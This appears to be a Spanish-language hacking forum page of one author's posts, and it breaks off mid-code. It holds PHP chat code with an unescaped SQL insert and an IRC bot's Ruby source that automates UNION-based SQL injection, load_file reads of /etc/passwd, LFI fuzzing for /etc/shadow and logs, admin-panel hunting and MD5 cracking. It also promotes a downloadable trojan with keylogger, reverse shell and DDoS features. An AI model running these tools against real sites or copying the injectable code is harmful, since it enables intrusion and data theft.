    mysql_query("INSERT INTO insultos(id_insulto,mensaje)values(NULL,'$con')");
                        }
                        
                        echo 
    "<script>alert('Installed');</script>";
                        echo 
    '<meta http-equiv="refresh" content=0;URL=>';
                    }
                } else {
                    echo 
    "<script>alert('Error');</script>";
                }
            }
            
            if (
    mysql_num_rows(mysql_query("show tables like 'mensajes'"))) {
                
                
    //
                
                
    $re mysql_query("select * from mensajes order by id_comentario ASC");
                
                if (isset(
    $_GET['id'])) {
                    if (
    is_numeric($_GET['id'])) {
                        if (@
    mysql_query("delete from mensajes where id_comentario='" $_GET['id'] . "'")) {
                            echo 
    "<script>alert('Comment deleted');</script>";
                        } else {
                            echo 
    "<script>alert('Error');</script>";
                        }
                    }
                }
                
                
    $sql       "select id_comentario from mensajes";
                
    $resultado mysql_query($sql);
                
    $cantidad  mysql_num_rows($resultado);
                
                echo 
    '
                <div class="post">
                    <h3>Comments : ' 
    $cantidad '</h3>
                       <div class="post_body"><br>'
    ;
                if (
    $cantidad <= 0) {
                    echo 
    '<b>No entries found</b><br>';
                } else {
                    echo 
    "<table>";
                    echo 
    "<td><b>ID</b></td><td><b>Nick</b></td><td><b>Text</b></td><td><b>Option</b></td><tr>";
                    
                    while (
    $ver mysql_fetch_array($re)) {
                        echo 
    "<td>" htmlentities($ver[0]) . "</td><td>" htmlentities($ver[2]) . "</td><td>" htmlentities($ver[1]) . "</td><td><a href=?id=" htmlentities($ver[0]) . ">Delete</a></td><tr>";
                    }
                    
                    echo 
    "</table>";
                    
                }
                
                echo 
    '                <br></div>
                </div>'
    ;
                
                if (isset(
    $_POST['new_word'])) {
                    
    $in $_POST['word'];
                    if (@
    mysql_query("INSERT INTO insultos(id_insulto,mensaje)values(NULL,'$in')")) {
                        echo 
    "<script>alert('Word added');</script>";
                    } else {
                        echo 
    "<script>alert('Error');</script>";
                    }
                }
                
                if (isset(
    $_GET['del_word'])) {
                    if (
    is_numeric($_GET['del_word'])) {
                        if (@
    mysql_query("delete from insultos where id_insulto='" $_GET['del_word'] . "'")) {
                            echo 
    "<script>alert('Word deleted');</script>";
                        } else {
                            echo 
    "<script>alert('Error');</script>";
                        }
                    }
                }
                
                echo 
    '
             <div class="post">
                <h3>Block words</h3>
                <div class="post_body"><br>
                '
    ;
                
                echo 
    "
    <form action='' method=POST>
    <b>Word : </b><input type=text name=word>
    <input type=submit name=new_word style='width: 100px;' value=Add>
    </form>"
    ;
                
                echo 
    '
                <br>
                </div>
             </div>
             '
    ;
                
                
                
    $sql       "select id_insulto from insultos";
                
    $resultado mysql_query($sql);
                
    $cantidad  mysql_num_rows($resultado);
                
                echo 
    '
             <div class="post">
                <h3>Words blocked : ' 
    $cantidad '</h3>
                <div class="post_body"><br>
                '
    ;
                
                
    $rea mysql_query("select * from insultos order by id_insulto ASC");
                
                if (
    $cantidad <= 0) {
                    echo 
    '<b>No entries found</b><br>';
                } else {
                    echo 
    "<table>";
                    echo 
    "<td>ID</td><td>Word</td><td>Option</td><tr>";
                    while (
    $ver mysql_fetch_array($rea)) {
                        echo 
    "<td>" htmlentities($ver[0]) . "</td><td>" htmlentities($ver[1]) . "</td><td><a href=?del_word=" htmlentities($ver[0]) . ">Delete</a></td><tr>";
                    }
                    
                    echo 
    "</table>";
                    
                }
                
                echo 
    '
                <br>
                </div>
             </div>
             '
    ;
                
            } else {
                
                echo 
    '
                <div class="post">
                    <h3>Installer</h3>
                       <div class="post_body">'
    ;
                
                echo 
    "
    <form action='' method=POST>
    <h2>Do you want install DH Chat 0.5 ?</h2><br>
    <input type=submit name=instalar style='width: 100px;' value=Install>
    </form><br>"
    ;
                echo 
    '                </div>
                </div>'
    ;
            }
            
            echo 
    '  
       <br><h3>(C) Doddy Hackman 2015</h3><br>
       </center>
       </body>
    </html>'
    ;
            
            
    mysql_close();
            exit(
    1);
            
        } else {
            echo 
    "<script>alert('Fuck You');</script>";
        }
        
    } else {
        echo 
    '<meta http-equiv="refresh" content="0; url=http://www.petardas.com" />';
    }

    // The End ?

    ?>



    style.css

    Código (css) [Seleccionar]

    /*

    ==-----------------------------------==
    || Name : DH Theme                   ||
    || Version : 0.8                     || 
    || Author : Doddy H                  ||
    || Description: Templante            ||
    || Date : 14/1/2015                  ||
    ==-----------------------------------==

    */

    body {
    background:transparent url("images/fondo.jpg") repeat scroll 0 0;
    color:gray;
    font-family:helvetica,arial,sans-serif;
    font-size:14px;
    text-align:center;
    }

    a:link {
    text-decoration:none;
    color:orange;
    }
    a:visited {
    color:orange;
    }
    a:hover {
    color:orange;
    }

    td,tr {
    border-style:solid;
    border-color: gray;
    border-width: 1px;
    background: black;
    border: solid #222 2px;
    color:gray;
    font-family:helvetica,arial,sans-serif;
    font-size:14px;
    text-align:center;

    word-wrap: break-word;
    word-break:break-all;
    }

    input {
    border-style:solid;
    border-color: gray;
    border-width: 1px;
    background: black;
    border: solid #222 2px;
    color:gray;
    font-family:helvetica,arial,sans-serif;
    font-size:14px;
    }

    .post {
    background-color:black;
    color:gray;
    margin-bottom:10px;
    width:600px;
    word-wrap: break-word;
    }

    .post h3 {
    background-color:black;
    color:orange;
    background-color:#000;
    border: solid #222 2px;
    -webkit-border-radius: 4px;
    -moz-border-radius: 4px;
    border-radius: 4px;
    padding:5px 10px;
    }

    .post_body {
    background-color:black;
    margin:-20px 0 0 0;
    color:white;
    background-color:#000;
    border: solid #222 2px;
    -webkit-border-radius: 4px;
    -moz-border-radius: 4px;
    border-radius: 4px;
    padding:5px 10px;
    }

    /* The End ? */


    chat.php

    Código (php) [Seleccionar]

    <?php

    //DH Chat 0.5
    //(C) Doddy Hackman 2015

    // DB

    $host "localhost"// Edit
    $user "root"// Edit
    $pass ""// Edit
    $db   "chat"// Edit

    //

    error_reporting(0);

    mysql_connect($host$user$pass);
    mysql_select_db($db);

    echo 
    '<link href="chat.css" rel="stylesheet" type="text/css" />';

    echo 
    "<table border=0 width='210' style='table-layout: fixed'>";
    echo 
    "<td><b>DH Chat 0.5</b></td><tr>";


    $sumo mysql_query("SELECT MAX(id_comentario) FROM mensajes");

    $s mysql_fetch_row($sumo);

    foreach (
    $s as $d) {
        
    $total $d;
    }

    $test $total 10;

    if (
    $test <= 0) {
        
    next;
    } else {
        
    $resto $test;
        
        for (
    $i 1$i <= $resto$i++) {
            @
    mysql_query("DELETE FROM mensajes where id_comentario='$i'");
        }
    }

    $re = @mysql_query("select * from mensajes order by id_comentario DESC");

    while (
    $ver = @mysql_fetch_array($re)) {
        echo 
    "<td><b>" htmlentities($ver[2]) . "</b> : " htmlentities($ver[1]) . "</td><tr>";
    }


    echo 
    "<br><br><td><br><b>Comment</b><br><br>    
    <form action='' method=POST>
    Nick : <input type=text name=apodo size=20><br><br>
    Text : <input type=text name=msg size=20><br><br>
    <input type=submit name=chatentro style='width: 100px;' value=Send>
    </form>
    <tr>
    <td><b>Coded By Doddy H</b></td><tr>
    </table>"
    ;


    if (isset(
    $_POST['chatentro'])) {
        
        
    $sumo mysql_query("SELECT MAX(id_comentario) FROM mensajes");
        
        
    $s mysql_fetch_row($sumo);
        
        foreach (
    $s as $d) {
            
    $x_id $d 1;
        }
        
        
    $apodo   htmlentities(addslashes($_POST['apodo']));
        
    $mensaje htmlentities(addslashes($_POST['msg']));
        
        
    $apodo   substr($apodo070);
        
    $mensaje substr($mensaje070);
        
        
    $rex mysql_query("select mensaje from insultos");
        
        while (
    $con mysql_fetch_array($rex)) {
            
    $mensaje str_replace($con[0], "#$!*"$mensaje);
            
    $apodo   str_replace($con[0], "#$!*"$apodo);
        }
        
        if (
    is_numeric($x_id)) {
            @
    mysql_query("INSERT INTO mensajes(id_comentario,apodo,mensaje)values('$x_id','$apodo','$mensaje')");
        }
        
        echo 
    '<meta http-equiv="refresh" content=0;URL=>';
        
    }

    mysql_close();

    // The End ? 

    ?>



    chat.css

    Código (css) [Seleccionar]

    /*

    ==-----------------------------------==
    || Name : DH Theme                   ||
    || Version : 0.8                     || 
    || Author : Doddy H                  ||
    || Description: Templante            ||
    || Date : 14/1/2015                  ||
    ==-----------------------------------==

    */

    body {
    color:gray;
    font-family:helvetica,arial,sans-serif;
    font-size:14px;
    text-align:center;
    }

    a:link {
    text-decoration:none;
    color:orange;
    }
    a:visited {
    color:orange;
    }
    a:hover {
    color:orange;
    }

    td,tr {
    border-style:solid;
    border-color: gray;
    border-width: 1px;
    background: black;
    border: solid #222 2px;
    color:gray;
    font-family:helvetica,arial,sans-serif;
    font-size:14px;
    text-align:center;

    word-wrap: break-word;
    word-break:break-all;
    }

    input {
    border-style:solid;
    border-color: gray;
    border-width: 1px;
    background: black;
    border: solid #222 2px;
    color:gray;
    font-family:helvetica,arial,sans-serif;
    font-size:14px;
    }

    .post {
    background-color:black;
    color:gray;
    margin-bottom:10px;
    width:600px;
    word-wrap: break-word;
    }

    .post h3 {
    background-color:black;
    color:orange;
    background-color:#000;
    border: solid #222 2px;
    -webkit-border-radius: 4px;
    -moz-border-radius: 4px;
    border-radius: 4px;
    padding:5px 10px;
    }

    .post_body {
    background-color:black;
    margin:-20px 0 0 0;
    color:white;
    background-color:#000;
    border: solid #222 2px;
    -webkit-border-radius: 4px;
    -moz-border-radius: 4px;
    border-radius: 4px;
    padding:5px 10px;
    }

    /* The End ? */


    test.php

    Código (php) [Seleccionar]

    <body background="test.jpg">

    <?php

    include("chat.php");

    ?>



    Si quieren bajar el programa lo pueden hacer de aca.

    Cualquier sugerencia para mejorar este proyecto diganla para mejorar.

    Saludos.
#40
PHP / [PHP] DH Scanner 0.9
20 Noviembre 2015, 23:53 PM
Version mejorada de este scanner en PHP hecho para buscar vulnerabilidades webs.

Tiene las siguientes opciones :

  • Bing Scanner con scanner SQLI incluido
  • SQLI Scanner
  • LFI Scanner
  • Crackear varias hashes MD5
  • Buscador del panel de administracion
  • Localizador de IP y sus DNS
  • Encoders para base64,HEX y MD5

    Una imagen :



    Un video con ejemplo de usos :

    [youtube=640,360]https://www.youtube.com/watch?v=JsJ0pvvJGqA[/youtube]

    Si quieren bajar el programa lo pueden hacer de aca :

    SourceForge.
    Github.
#41
Scripting / [Python-Android] ParanoicScan 0.4
6 Noviembre 2015, 21:08 PM
Version mejorada de este script para scannear con android que incorpora las siguientes funciones :

  • Scannea en bing buscando SQLI
  • Un completo scanner SQLI
  • Buscador de panel de administracion
  • Codificador de MD5
  • Codificador y Decodificador de Base64 y Hex
  • Localizador de IP y sus DNS
  • Crackeador de para hashes MD5
  • HTTP FingerPrinting

    Unas imagenes :























    Si quieren bajar el programa lo pueden hacer de aca :

    SourceForge.
    Github.

    Eso seria todo.
#42
Scripting / [Perl] Project HellStorm 1.2
24 Octubre 2015, 03:06 AM
Hola hoy les traigo un troyano en Perl que funciona mediante sockets y como IRC Botnet , tiene las siguientes opciones :

[++] Opciones del troyano

  • Navegador de archivos : borrar,renombrar
  • Da informacion sobre la computadora
  • Abrir y cerrar CD
  • Ocultar y mostrar barra de inicio o iconos del escritorio
  • Hacer hablar a la computadora para que diga lo que queramos
  • Mandar mensajitos
  • Consola de comandos
  • Administracion de procesos
  • ReverseShell
  • Cambiar fondo de escritorio
  • Mover mouse
  • Cargar word para que escriba solo
  • DOS Attack : en el caso de IRC podran hacer un ataque DDOS si tienen varios infectados
  • Keylogger en segundo plano : sube logs y fotos tomadas a un servidor FTP

    Una imagen :



    Si quieren bajar el programa lo pueden hacer de aca :

    SourceForge.
    Github.

    Eso seria todo.
#43
Scripting / [Perl] Project Arsenal X 0.2
9 Octubre 2015, 22:14 PM
Hoy les traigo la nueva version de mi proyecto Arsenal X escrito en Perl , esta basando en el juego HackTheGame , tiene las siguientes opciones :

  • Gmail Inbox
  • Client Whois
  • Ping
  • Downloader
  • Get IP
  • Locate IP
  • K0bra SQLI Scanner
  • Crackear varios hashes MD5
  • Buscar panel de administracion
  • Port Scanner
  • Multi Cracker con soporte para FTP,TELNET,POP3
  • Ejecucion de comandos en la consola

    Una imagen :



    Un video con ejemplos de uso :

    [youtube=640,360]https://www.youtube.com/watch?v=1gzpv2DV2ec[/youtube]

    Si quieren bajar el programa lo pueden hacer de aca :

    SourceForge.
    Github.

    Eso seria todo.
#44
Scripting / [Ruby] ClapTrap IRC Bot 0.5
26 Septiembre 2015, 00:04 AM
Traduccion a Ruby de mi bot para IRC llamado ClapTrap.

Tiene las siguiente opciones :

  • Scanner SQLI
  • Scanner LFI
  • Buscador de panel de administracion
  • Localizador de IP
  • Buscador de DNS
  • Buscador de SQLI y RFI en google
  • Crack para hashes MD5
  • Cortador de URL usando tinyurl
  • HTTP FingerPrinting
  • Codificador base64,hex y ASCII  

    El codigo :

    Código (ruby) [Seleccionar]

    #!usr/bin/ruby
    #Claptrap IRC Bot 0.5
    #(C) Doddy Hackman 2015

    require "socket"
    require "open-uri"
    require "net/http"  
    require "resolv"
    require "base64"
    require "digest/md5"

    $timeout = "1"

    # Functions

    def head()
    print "\n\n
     @@@@  @       @    @@@@@  @@@@@  @@@@@     @    @@@@@     @  @@@@@    @@@@
    @    @ @       @    @    @   @    @    @    @    @    @    @  @    @  @    @
    @      @      @ @   @    @   @    @    @   @ @   @    @    @  @    @  @    
    @      @      @ @   @    @   @    @    @   @ @   @    @    @  @    @  @    
    @      @     @   @  @@@@@    @    @@@@@   @   @  @@@@@     @  @@@@@   @    
    @      @     @   @  @        @    @    @  @   @  @         @  @    @  @    
    @      @     @@@@@  @        @    @    @  @@@@@  @         @  @    @  @    
    @    @ @    @     @ @        @    @    @ @     @ @         @  @    @  @    @
     @@@@  @@@@@@     @ @        @    @    @ @     @ @         @  @    @   @@@@
     \n\n"
    end

    def copyright()
    print "\n\n-- == (C) Doddy Hackman 2015 == --\n\n"
    end

    #

    # Functions ClapTrap

    def get_ip(hostname)
    begin
    return Resolv.getaddress(hostname)
    rescue
    return "Error"
    end
    end

    def toma(web)
    begin
    return open(web, "User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0").read
    rescue
    return "Error"
    end
    end

    def response_code(web)
    begin
    return Net::HTTP.get_response(URI(web)) .code
    rescue
    return "404"
    end
    end

    def tomar(web,arg)
    begin
    headers = {"User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"}
    uri = URI(web)
    http = Net::HTTP.new(uri.host, uri.port)
    return http.post(uri.path,arg, headers).body
    rescue
    return "Error"
    end
    end

    def toma_ssl(web)
    uri = URI.parse(web)
    nave = Net::HTTP.new(uri.host, uri.port)
    nave.use_ssl = true
    nave.verify_mode = OpenSSL::SSL::VERIFY_NONE
    return nave.get(uri.request_uri,{"User-Agent"=> "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/20.0"}).body
    end

    def cortar(pages)
    final = ""
    finales = []
    pages.flatten.each do |page|
    if page=~/(.*)=(.*)/
    parte1 = $1
    parte2 = $2
    final = parte1 + "="
    finales.push(final)
    end
    end
    return finales
    end


    def google(dork,pages)

    links = []
    dork = dork.sub(/ /,"+")
    contador = 0
    for i in ("1"..pages)
    contador+=10
    code = toma_ssl("https://www.google.com.ar/search?hl=&q=" + dork+ "&start="+contador.to_s)
    paginas = code.scan(/(?<="r"><. href=")(.+?)"/)
    paginas.flatten.each do |pagina|
    partes = pagina
    if partes=~/url\?q=(.*)&amp;sa/
    parte = $1
    link = URI::decode(parte)
    links.push(link)
    end
    end
    end
    links = links.uniq
    return links
    end

    def google_recursive(dork,pages)
    dork = dork.sub(/ /,"+")
    contador = 0
    guardo = []
    for i in ("1"..pages)
    contador+=10
    url = "https://www.google.com.ar/search?hl=&q="+dork+"&start="+contador.to_s
    code = toma_ssl(url)
    links = URI::extract(code)
    links.each do |link|
    if link=~/cache:(.*?):(.*?)\+/
    link_final = "http://"+$2
    link_final = URI::decode(link_final)
    guardo.push(link_final)
    end
    end
    end
    guardo = guardo.uniq
    return guardo
    end

    def bing(dork,pages)

    guardo = []
    dork = dork.sub(/ /,"+")
    contador = 0
    for i in ("1"..pages)
    contador+=10

    code = toma("http://www.bing.com/search?q=" + dork + "&first=" + contador.to_s)

    links = code.scan(/<h2><a href="(.*?)" h/)

    links.flatten.each do |link|
    link_final = URI::decode(link)
    if not link_final=~/http:\/\/778802\.r\.msn\.com\//
    guardo.push(link_final)
    end
    end

    links = code.scan(/<h3><a href="(.*?)" h/)

    links.flatten.each do |link|
    link_final = URI::decode(link)
    if not link_final=~/http:\/\/778802\.r\.msn\.com\//
    guardo.push(link_final)
    end
    end
    end
    guardo = guardo.uniq
    return guardo
    end

    def bypass(op)
     if op=="--"
       return "+","--"
     elsif op=="/*"
      return "/**/","/**/"
     elsif op=="%20"
      return "%20","%00"
     else
      return "+","--"    
     end
    end

    def decode_hex(text)
     text = text.sub("0x","")
     return [text].pack('H*')
    end

    def encode_hex(text)
     return "0x"+text.unpack('H*')[0]
    end

    def httpfinger(page)
    respuesta = ""
    begin
    nave = Net::HTTP.start(page)
    headers = nave.head("/")
    headers.each do |name,value|
    respuesta = respuesta + "[+] "+name+" : "+value+"\n"
    end
    nave.finish
    rescue
    respuesta = "Error"
    end
    return respuesta
    end

    ##

    def locateip(target)

    resultado = ""

    resultado = resultado + "\n[+] Getting IP ...\n"

    ip = get_ip(target)

    resultado = resultado + "\n[+] IP : "+ip+"\n"

    web = "http://www.melissadata.com/lookups/iplocation.asp"
    resultado = resultado + "\n[+] Locating ...\n\n"

    code = tomar(web,"ipaddress="+ip+"&btn=Submit")

    if code=~/City<\/td><td align=(.*)><b>(.*)<\/b><\/td>/
    resultado = resultado + "[+] City : "+$2+"\n"
    else
    resultado = resultado + "[+] City : Not Found\n"
    end

    if code=~/Country<\/td><td align=(.*)><b>(.*)<\/b><\/td>/
    resultado = resultado + "[+] Country : "+$2+"\n"
    else
    resultado = resultado + "[+] Country : Not Found\n"
    end

    if code=~/State or Region<\/td><td align=(.*)><b>(.*)<\/b><\/td>/
    resultado = resultado + "[+] State or Region : "+$2+"\n";
    else
    resultado = resultado + "[+] State of Region : Not Found\n"
    end

    resultado = resultado + "\n[+] Getting DNS ...\n\n"

    control = "0"

    code = toma("http://www.ip-adress.com/reverse_ip/"+ip)

    dnss = code.scan(/whois\/(.*?)\">Whois/)

    dnss.flatten.each do |dns|
    begin
    if dns != ""
    control = "1"
    resultado = resultado + "[+] DNS Found : "+dns
    end
    end
    end

    if control=="0"
    resultado = resultado + "\n[-] DNS Not Found\n"
    end
    return resultado
    end

    def details(url,by)
     pass1,pass2 = bypass(by)
     resultado = ""
     hextest = "0x2f6574632f706173737764" #/etc/passwd
     hextest = "0x633A2F78616D70702F726561642E747874" #c:/xampp/read.txt
     web1 = url.sub(/hackman/,"0x4b30425241")
     web2 = url.sub(/hackman/,"concat(0x4b30425241,user(),0x4b30425241,database(),0x4b30425241,version(),0x4b30425241)")
     web3 = url.sub(/hackman/,"unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file("+hextest+"))))")
      resultado = resultado + "\n[+] Extracting information of the DB\n"
     code1 = toma(web2)
     if code1=~/K0BRA(.*)K0BRA(.*)K0BRA(.*)K0BRA/
       user,data,ver = $1,$2,$3
       resultado = resultado + "\n[+] Username : "+user
       resultado = resultado + "\n[+] Database : "+data
       resultado = resultado + "\n[+] Version : "+ver+"\n\n"
     else
       resultado = resultado + "[-] Not Found\n"
     end
      code2 = toma(web1+pass1+"from"+pass1+"mysql.user"+pass2)
      code3 = toma(web1+pass1+"from"+pass1+"information_schema.tables"+pass2)
      code4 = toma(web3)
      if code2=~/K0BRA/
        resultado = resultado + "[+] Mysql User : ON\n"
      end
      if code3=~/K0BRA/
        resultado = resultado + "[+] information_schema : ON\n"
      end
      if code4=~/ERTOR854/
        resultado = resultado + "[+] load_file : ON\n"
      end  
      return resultado
    end

    def findlength(url,by)
     pass1,pass2 = bypass(by)
     z = "1"
     control = "0"
     resultado = ""
     resultado = resultado + "\n[+] Finding columns lenght ...\n\n"
     x = "concat(0x4b30425241,1,0x4b30425241)"
     for num in ('2'..'25')
       z = z+","+num
       x= x+","+"concat(0x4b30425241,"+num+",0x4b30425241)"
       code = toma(url+"1"+pass1+"and"+pass1+"1=0"+pass1+"union"+pass1+"select"+pass1+x)
       if code=~/K0BRA(.*?)K0BRA/
         resultado = resultado + "[+] The Page has "+num+" columns\n"
         resultado = resultado + "[+] The number "+$1+" print data\n"
         z = z.sub($1,"hackman")
         sqli = url+"1"+pass1+"and"+pass1+"1=0"+pass1+"union"+pass1+"select"+pass1+z
         control = "1"
         break
       end
     end
     if control != "1"
       resultado = resultado + "[-] Columns lenght not found\n"
     end
     return resultado,sqli,control
    end

    def scanner_sqli(page,by)
     pass1,pass2 = bypass(by)
     resultado = ""
     rta1 = ""
     rta2 = ""
     resultado =  resultado + "[+] Testing vulnerability ...\n\n"
     codeuno = toma(page+"1"+pass1+"and"+pass1+"1=0"+pass2)
     codedos = toma(page+"1"+pass1+"and"+pass1+"1=1"+pass2)
     if codeuno != codedos
       resultado = resultado + "[+] Vulnerable !\n"
       rta1,sqli,control = findlength(page,by)
       if control=="1"
        rta2 = details(sqli,"--")
       end
     else
       resultado = resultado + "[-] Not Vulnerable\n"
     end
     resultado = resultado + rta1 + rta2
     return resultado
    end

    def scanner_lfi(web)
    resultado = ""
    files = ['c:/xampp/here.php','../../../boot.ini','../../../../boot.ini','../../../../../boot.ini','../../../../../../boot.ini','/etc/passwd','/etc/shadow','/etc/shadow~','/etc/hosts','/etc/motd','/etc/apache/apache.conf','/etc/fstab','/etc/apache2/apache2.conf','/etc/apache/httpd.conf','/etc/httpd/conf/httpd.conf','/etc/apache2/httpd.conf','/etc/apache2/sites-available/default','/etc/mysql/my.cnf','/etc/my.cnf','/etc/sysconfig/network-scripts/ifcfg-eth0','/etc/redhat-release','/etc/httpd/conf.d/php.conf','/etc/pam.d/proftpd','/etc/phpmyadmin/config.inc.php','/var/www/config.php','/etc/httpd/logs/error_log','/etc/httpd/logs/error.log','/etc/httpd/logs/access_log','/etc/httpd/logs/access.log','/var/log/apache/error_log','/var/log/apache/error.log','/var/log/apache/access_log','/var/log/apache/access.log','/var/log/apache2/error_log','/var/log/apache2/error.log','/var/log/apache2/access_log','/var/log/apache2/access.log','/var/www/logs/error_log','/var/www/logs/error.log','/var/www/logs/access_log','/var/www/logs/access.log','/usr/local/apache/logs/error_log','/usr/local/apache/logs/error.log','/usr/local/apache/logs/access_log','/usr/local/apache/logs/access.log','/var/log/error_log','/var/log/error.log','/var/log/access_log','/var/log/access.log','/etc/group','/etc/security/group','/etc/security/passwd','/etc/security/user','/etc/security/environ','/etc/security/limits','/usr/lib/security/mkuser.default','/apache/logs/access.log','/apache/logs/error.log','/etc/httpd/logs/acces_log','/etc/httpd/logs/acces.log','/var/log/httpd/access_log','/var/log/httpd/error_log','/apache2/logs/error.log','/apache2/logs/access.log','/logs/error.log','/logs/access.log','/usr/local/apache2/logs/access_log','/usr/local/apache2/logs/access.log','/usr/local/apache2/logs/error_log','/usr/local/apache2/logs/error.log','/var/log/httpd/access.log','/var/log/httpd/error.log','/opt/lampp/logs/access_log','/opt/lampp/logs/error_log','/opt/xampp/logs/access_log','/opt/xampp/logs/error_log','/opt/lampp/logs/access.log','/opt/lampp/logs/error.log','/opt/xampp/logs/access.log','/opt/xampp/logs/error.log','C:\ProgramFiles\ApacheGroup\Apache\logs\access.log','C:\ProgramFiles\ApacheGroup\Apache\logs\error.log','/usr/local/apache/conf/httpd.conf','/usr/local/apache2/conf/httpd.conf','/etc/apache/conf/httpd.conf','/usr/local/etc/apache/conf/httpd.conf','/usr/local/apache/httpd.conf','/usr/local/apache2/httpd.conf','/usr/local/httpd/conf/httpd.conf','/usr/local/etc/apache2/conf/httpd.conf','/usr/local/etc/httpd/conf/httpd.conf','/usr/apache2/conf/httpd.conf','/usr/apache/conf/httpd.conf','/usr/local/apps/apache2/conf/httpd.conf','/usr/local/apps/apache/conf/httpd.conf','/etc/apache2/conf/httpd.conf','/etc/http/conf/httpd.conf','/etc/httpd/httpd.conf','/etc/http/httpd.conf','/etc/httpd.conf','/opt/apache/conf/httpd.conf','/opt/apache2/conf/httpd.conf','/var/www/conf/httpd.conf','/private/etc/httpd/httpd.conf','/private/etc/httpd/httpd.conf.default','/Volumes/webBackup/opt/apache2/conf/httpd.conf','/Volumes/webBackup/private/etc/httpd/httpd.conf','/Volumes/webBackup/private/etc']
    resultado = resultado + "[+] Testing the vulnerability LFI...\n\n"
    code = toma(web+"'")
    if code=~/No such file or directory in <b>(.*)<\/b> on line/
    fpd = $1
    resultado = resultado + "[+] LFI Detected\n\n"
    resultado = resultado + "[Full Path Discloure]: "+fpd+"\n"
    resultado = resultado + "\n[+] Fuzzing Files\n\n"
    files.each do |file|
    code = toma(web+file)
    if not code=~/No such file or directory in/
    resultado= resultado + "[Link] : "+web+file+"\n"
    end
    end
    resultado = resultado + "\n[+] Done\n"
    else
    resultado = resultado + "[-] Not Vulnerable to LFI\n\n"
    end
    return resultado
    end

    def scanner_panel(page)
    resultado = ""
    panels = ['admin/admin.asp','admin/login.asp','admin/index.asp','admin/admin.aspx','admin/login.aspx','admin/index.aspx','admin/webmaster.asp','admin/webmaster.aspx','asp/admin/index.asp','asp/admin/index.aspx','asp/admin/admin.asp','asp/admin/admin.aspx','asp/admin/webmaster.asp','asp/admin/webmaster.aspx','admin/','login.asp','login.aspx','admin.asp','admin.aspx','webmaster.aspx','webmaster.asp','login/index.asp','login/index.aspx','login/login.asp','login/login.aspx','login/admin.asp','login/admin.aspx','administracion/index.asp','administracion/index.aspx','administracion/login.asp','administracion/login.aspx','administracion/webmaster.asp','administracion/webmaster.aspx','administracion/admin.asp','administracion/admin.aspx','php/admin/','admin/admin.php','admin/index.php','admin/login.php','admin/system.php','admin/ingresar.php','admin/administrador.php','admin/default.php','administracion/','administracion/index.php','administracion/login.php','administracion/ingresar.php','administracion/admin.php','administration/','administration/index.php','administration/login.php','administrator/index.php','administrator/login.php','administrator/system.php','system/','system/login.php','admin.php','login.php','administrador.php','administration.php','administrator.php','admin1.html','admin1.php','admin2.php','admin2.html','yonetim.php','yonetim.html','yonetici.php','yonetici.html','adm/','admin/account.php','admin/account.html','admin/index.html','admin/login.html','admin/home.php','admin/controlpanel.html','admin/controlpanel.php','admin.html','admin/cp.php','admin/cp.html','cp.php','cp.html','administrator/','administrator/index.html','administrator/login.html','administrator/account.html','administrator/account.php','administrator.html','login.html','modelsearch/login.php','moderator.php','moderator.html','moderator/login.php','moderator/login.html','moderator/admin.php','moderator/admin.html','moderator/','account.php','account.html','controlpanel/','controlpanel.php','controlpanel.html','admincontrol.php','admincontrol.html','adminpanel.php','adminpanel.html','admin1.asp','admin2.asp','yonetim.asp','yonetici.asp','admin/account.asp','admin/home.asp','admin/controlpanel.asp','admin/cp.asp','cp.asp','administrator/index.asp','administrator/login.asp','administrator/account.asp','administrator.asp','modelsearch/login.asp','moderator.asp','moderator/login.asp','moderator/admin.asp','account.asp','controlpanel.asp','admincontrol.asp','adminpanel.asp','fileadmin/','fileadmin.php','fileadmin.asp','fileadmin.html','administration.html','sysadmin.php','sysadmin.html','phpmyadmin/','myadmin/','sysadmin.asp','sysadmin/','ur-admin.asp','ur-admin.php','ur-admin.html','ur-admin/','Server.php','Server.html','Server.asp','Server/','wp-admin/','administr8.php','administr8.html','administr8/','administr8.asp','webadmin/','webadmin.php','webadmin.asp','webadmin.html','administratie/','admins/','admins.php','admins.asp','admins.html','administrivia/','Database_Administration/','WebAdmin/','useradmin/','sysadmins/','admin1/','system-administration/','administrators/','pgadmin/','directadmin/','staradmin/','ServerAdministrator/','SysAdmin/','administer/','LiveUser_Admin/','sys-admin/','typo3/','panel/','cpanel/','cPanel/','cpanel_file/','platz_login/','rcLogin/','blogindex/','formslogin/','autologin/','support_login/','meta_login/','manuallogin/','simpleLogin/','loginflat/','utility_login/','showlogin/','memlogin/','members/','login-redirect/','sub-login/','wp-login/','login1/','dir-login/','login_db/','xlogin/','smblogin/','customer_login/','UserLogin/','login-us/','acct_login/','admin_area/','bigadmin/','project-admins/','phppgadmin/','pureadmin/','sql-admin/','radmind/','openvpnadmin/','wizmysqladmin/','vadmind/','ezsqliteadmin/','hpwebjetadmin/','newsadmin/','adminpro/','Lotus_Domino_Admin/','bbadmin/','vmailadmin/','Indy_admin/','ccp14admin/','irc-macadmin/','banneradmin/','sshadmin/','phpldapadmin/','macadmin/','administratoraccounts/','admin4_account/','admin4_colon/','radmind-1/','Super-Admin/','AdminTools/','cmsadmin/','SysAdmin2/','globes_admin/','cadmins/','phpSQLiteAdmin/','navSiteAdmin/','server_admin_small/','logo_sysadmin/','server/','database_administration/','power_user/','system_administration/','ss_vms_admin_sm/']
    resultado = resultado + "[+] Scanning ...\n\n"
    control = "0"
    panels.each do |panel|
    begin
    url = page+"/"+panel
    status_code = response_code(url)
    if status_code=="200"
    resultado = resultado + "[+] Link : "+url+"\n"
    control = "1"
    end
    end
    end
    if control=="1"
    resultado = resultado + "\n[+] Done\n"
    else
    resultado = resultado + "\n[-] Not Found\n"
    end
    return resultado
    end

    def get_httpfinger(page)
    resultado = ""
           resultado = resultado + "[+] Searching ...\n\n"
    resultado = resultado + httpfinger(page)
    return resultado
    end

    def crack_md5(md5)
    resultado = ""
    resultado = resultado + "[+] Cracking ...\n\n"

    code = tomar("http://md5online.net/index.php","pass="+md5+"&option=hash2text&send=Submit")

    if code=~/pass : <b>(.*?)<\/b>/
    password = $1
    resultado = resultado + "[+] md5online.net -> "+password+"\n"
    else
    resultado = resultado + "[-] md5online.net -> Not Found" + "\n"
    end

    code = tomar("http://md5.my-addr.com/md5_decrypt-md5_cracker_online/md5_decoder_tool.php","md5="+md5)

